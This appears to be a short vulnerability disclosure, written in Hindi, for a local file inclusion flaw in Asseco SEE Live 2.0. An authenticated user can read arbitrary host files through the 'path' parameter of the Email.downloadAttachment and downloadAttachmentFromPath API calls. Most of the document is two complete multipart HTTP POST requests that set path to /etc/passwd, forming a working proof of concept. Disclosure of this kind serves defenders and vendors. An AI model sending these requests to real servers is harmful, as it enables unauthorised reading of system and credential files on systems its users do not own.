thewoodenbench/cve-2025-66955अस्सेको SEE Live 2.0 के कॉन्टैक्ट प्लान, ई-मेल, एसएमएस और फ़ैक्स घटकों में लोकल फ़ाइल इन्क्लूज़न दूरस्थ प्रमाणित उपयोगकर्ताओं को downloadAttachment और downloadAttachmentFromPath API कॉल में "path" पैरामीटर के माध्यम से होस्ट पर फ़ाइलों तक पहुँचने की अनुमति देता है।
Asseco SEE Live 2.0 के Contact Plan, E-Mail, SMS और Fax घटकों में Local File Inclusion भेद्यता दूरस्थ प्रमाणित उपयोगकर्ताओं को downloadAttachment और downloadAttachmentFromPath API कॉल में "path" पैरामीटर के माध्यम से होस्ट पर मौजूद फ़ाइलों तक पहुँचने की अनुमति देती है।
HTTP अनुरोधों के लिए निम्न प्रमाणीकरण की आवश्यकता होती है।
POST /live20/index.php HTTP/2
Host: [REDACTED]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="requestType"
HTTP
------WebKitFormBoundary
Content-Disposition: form-data; name="method"
Email.downloadAttachment
------WebKitFormBoundary
Content-Disposition: form-data; name="id"
[REDACTED]
------WebKitFormBoundary
Content-Disposition: form-data; name="path"
/etc/passwd
------WebKitFormBoundary
Content-Disposition: form-data; name="downloadToken"
[REDACTED]
------WebKitFormBoundary--
POST /live20/index.php HTTP/2
Host: [REDACTED]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="requestType"
HTTP
------WebKitFormBoundary
Content-Disposition: form-data; name="method"
Email.downloadAttachmentFromPath
------WebKitFormBoundary
Content-Disposition: form-data; name="path"
/etc/passwd
------WebKitFormBoundary
Content-Disposition: form-data; name="downloadToken"
[REDACTED]
------WebKitFormBoundary
Content-Disposition: form-data; name="model"
Template
------WebKitFormBoundary--